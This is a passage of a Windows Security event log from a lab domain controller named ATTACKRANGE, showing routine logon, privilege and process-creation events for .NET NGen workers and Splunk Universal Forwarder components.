RecordNumber=254315
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1110
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2e0 -InterruptEvent 0 -NGENProcess 384 -Pipe 388 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254318
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEE593

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:02:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254317
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xEE593
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62451

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:02:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254316
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEE593

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:03:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254319
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1344
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3dc -InterruptEvent 0 -NGENProcess 38c -Pipe 3ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254320
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3a8 -InterruptEvent 0 -NGENProcess 384 -Pipe 3b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254321
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x113c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254322
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x574
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254323
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1028
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254324
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x102c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254326
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x50c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254325
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254327
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1008
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:22 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254328
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb44
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3c8 -InterruptEvent 0 -NGENProcess 3e8 -Pipe 3d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:23 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254330
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcec
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3fc -InterruptEvent 0 -NGENProcess 3c8 -Pipe 3a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:23 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254329
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3dc -InterruptEvent 0 -NGENProcess 384 -Pipe 38c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:24 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254331
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa24
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 334 -InterruptEvent 0 -NGENProcess 384 -Pipe 3e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254333
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3dc -InterruptEvent 0 -NGENProcess 3a4 -Pipe 3bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254332
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 228 -InterruptEvent 0 -NGENProcess 3e8 -Pipe 3c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254343
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 334 -InterruptEvent 0 -NGENProcess 3dc -Pipe 228 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

